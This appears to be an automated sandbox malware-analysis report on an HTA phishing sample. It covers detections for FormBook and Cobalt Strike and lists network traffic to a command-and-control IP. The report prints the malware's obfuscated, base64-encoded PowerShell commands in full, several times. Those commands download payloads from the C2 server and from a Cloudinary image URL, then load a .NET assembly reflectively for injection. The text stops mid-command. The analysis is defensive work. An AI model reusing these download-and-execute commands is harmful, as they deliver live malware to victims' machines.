                  Source: Yara matchFile source: 0000000C.00000002.2882521949.0000000000DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  AI detected suspicious sample
                  Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability

                  Phishing

                  barindex
                  Yara detected HtmlPhish44
                  Source: Yara matchFile source: seemybestdayguvenu.hta, type: SAMPLE
                  Source: Binary string: q:C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.pdb source: powershell.exe, 00000003.00000002.2242163202.0000000004B09000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.2508515611.00000000074E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2511587289.0000000007B4A000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp
                  Source: Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp
                  Source: Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.2508515611.00000000074E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2511587289.0000000007B4A000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.2511587289.0000000007B4A000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: microsoft.win32.taskschedulersnapshotitemdnlib.dotnetmemberrefdnlib.dotnetimemberrefresolverdnlib.dotnetconstantuserdnlib.dotnetimethoddecrypterdnlib.dotnetassemblynamecomparerdnlib.dotnetiresolutionscopednlib.dotnetsecurityattributednlib.dotnet.writerpeheadersoptionsdnlib.dotnet.writerioffsetheap`1dnlib.dotnetimethoddnlib.dotnetcorlibtypesdnlib.dotnet.writertablesheapdnlib.dotnet.emitopcodetypednlib.dotnetiassemblyresolverdnlib.dotnetassemblyattributesdnlib.dotneticustomattributetypednlib.dotnetdummyloggerdnlib.dotnet.mdrawfieldptrrowdnlib.dotnetiloggermicrosoft.win32.taskschedulerdailytriggerdnlib.dotnettyperefuserdnlib.dotnet.writerdummymodulewriterlistenerdnlib.dotnetassemblyhashalgorithmdnlib.dotnet.pdbpdbdocumentdnlib.dotnetpinvokeattributesdnlib.dotnetivariablednlib.dotnetresourcednlib.dotnet.writerchunklist`1dnlib.dotnetiistypeormethodmicrosoft.win32.taskschedulercustomtriggerdnlib.dotnet.writerstartupstubdnlib.dotnetgenericinstmethodsigdnlib.dotnetmemberrefuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetgenericparamdnlib.dotnet.writerchunklistbase`1dnlib.utilsextensionsdnlib.dotnetnativetypednlib.dotnet.mdrawenclogrowdnlib.dotnetgenericparamcontextdnlib.peimageoptionalheader64dnlib.dotnet.mdrawnestedclassrowdnlib.dotnetextensionsdnlib.dotneteventdefdnlib.dotnet.emitlocalc`5dnlib.dotneticontainsgenericparameterb`3b`1b`1b`1dnlib.dotnetitokenoperandc`1dnlib.dotnet.writerimdtablednlib.pedllcharacteristicsdnlib.dotnetifullnamednlib.dotnet.resourcesresourcereaderdnlib.dotnetstrongnamepublickeydnlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnetbytearrayequalitycomparerdnlib.dotnet.mdrawmethodsemanticsrowdnlib.ioiimagestreamcreatordnlib.dotnetvtablefixupsmicrosoft.win32.taskschedulertaskprincipalprivilegemicrosoft.win32.taskschedulertasksnapshotdnlib.dotnet.pdbsymbolreadercreatordnlib.dotnet.emitinstructionprinterdnlib.dotnettypeequalitycomparerdnlib.dotnet.mdimagecor20headerdnlib.dotnet.mdirawrowdnlib.dotnet.writermethodbodywriterjgmicrosoft.win32.taskschedulertaskregistrationinfojfjejdjcmicrosoft.win32.taskschedulershowmessageactionjbdnlib.dotnetihasdeclsecuritycomhandlerupdatejamicrosoft.win32.taskschedulereventtriggerdnlib.dotnetimanagedentrypointstartup_informationmicrosoft.win32.taskscheduler.fluentmonthlydowtriggerbuildermicrosoft.win32.taskschedulertaskauditrulednlib.dotnet.writerstrongnamesignaturednlib.dotnetitypednlib.dotnetsentinelsigdnlib.dotnet.mdicolumnreaderdnlib.dotnet.writermodulewritereventdnlib.dotnettypenameparserdnlib.dotneticustomattributednlib.dotnet.pdb.dsssymbolwritercreatordnlib.dotnet.resourcesbinaryresourcedatadnlib.dotnet.mdrawtyperefrowdnlib.ioimagestreamcreatorconnectiontokenex`2dnlib.pepeextensionsdnlib.dotnet.pdbsequencepointdnlib.dotnetlinkedresourcednlib.dotnettyperefdnlib.dotnetpublickeydnlib.dotnetiassemblyreffinderdnlib.dotnet.mdrawgenericparamconstraintrowdnlib.dotnettypedefdnlib.dotnetrecursioncounterdnlib.dotnet.mdrawassemblyrefosrowdnlib.pecharacteristicsdnlib.w32resourcesresourcedirectorype source: powershe

                  Software Vulnerabilities

                  barindex
                  Suspicious execution chain found
                  Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

                  Networking

                  barindex
                  Suricata IDS alerts for network traffic
                  Source: Network trafficSuricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.6:49710 -> 172.245.123.29:80
                  Source: Network trafficSuricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 172.245.123.29:80 -> 192.168.2.6:49760
                  Source: Network trafficSuricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 172.245.123.29:80 -> 192.168.2.6:49760
                  Source: global trafficHTTP traffic detected: GET /770/CAMCA.txt HTTP/1.1Host: 172.245.123.29Connection: Keep-Alive
                  Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
                  Source: global trafficHTTP traffic detected: GET /770/seemybestthingswhatdoingforbetter.tIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 172.245.123.29Connection: Keep-Alive
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: unknownTCP traffic detected without corresponding DNS query: 172.245.123.29
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_02877A18 URLDownloadToFileW,3_2_02877A18
                  Source: global trafficHTTP traffic detected: GET /770/seemybestthingswhatdoingforbetter.tIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 172.245.123.29Connection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /770/CAMCA.txt HTTP/1.1Host: 172.245.123.29Connection: Keep-Alive
                  Source: global trafficDNS traffic detected: DNS query: res.cloudinary.com
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004B09000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.123.29/770/seemyb
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.123.29/770/seemybestthingswhatdoingforbetter.tIF
                  Source: powershell.exe, 00000003.00000002.2247720728.0000000007D99000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.123.29/770/seemybestthingswhatdoingforbetter.tIF&
                  Source: powershell.exe, 00000003.00000002.2243945492.000000000568A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                  Source: powershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2472476163.0000000004F81000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                  Source: powershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2472476163.0000000004F81000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
                  Source: powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelp
                  Source: powershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                  Source: powershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                  Source: powershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                  Source: powershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                  Source: powershell.exe, 00000003.00000002.2245783194.0000000006DF0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com64/WindowsPowerShell/v1.0/odules/AppvClient/icrosoft.AppV.AppVClientPowerShell
                  Source: powershell.exe, 00000003.00000002.2243945492.000000000568A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                  Source: powershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com
                  Source: powershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
                  Source: powershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgt

                  E-Banking Fraud

                  barindex
                  Yara detected FormBook
                  Source: Yara matchFile source: 12.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 12.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0000000C.00000002.2882521949.0000000000DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

                  System Summary

                  barindex
                  Detected Cobalt Strike Beacon
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelhoJump to behavior
                  Malicious sample detected (through community Yara rule)
                  Source: Process Memory Space: powershell.exe PID: 3004, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Windows Scripting host queries suspicious COM object (likely to drop second stage)
                  Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                  Wscript starts Powershell (via cmd or directly)
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTG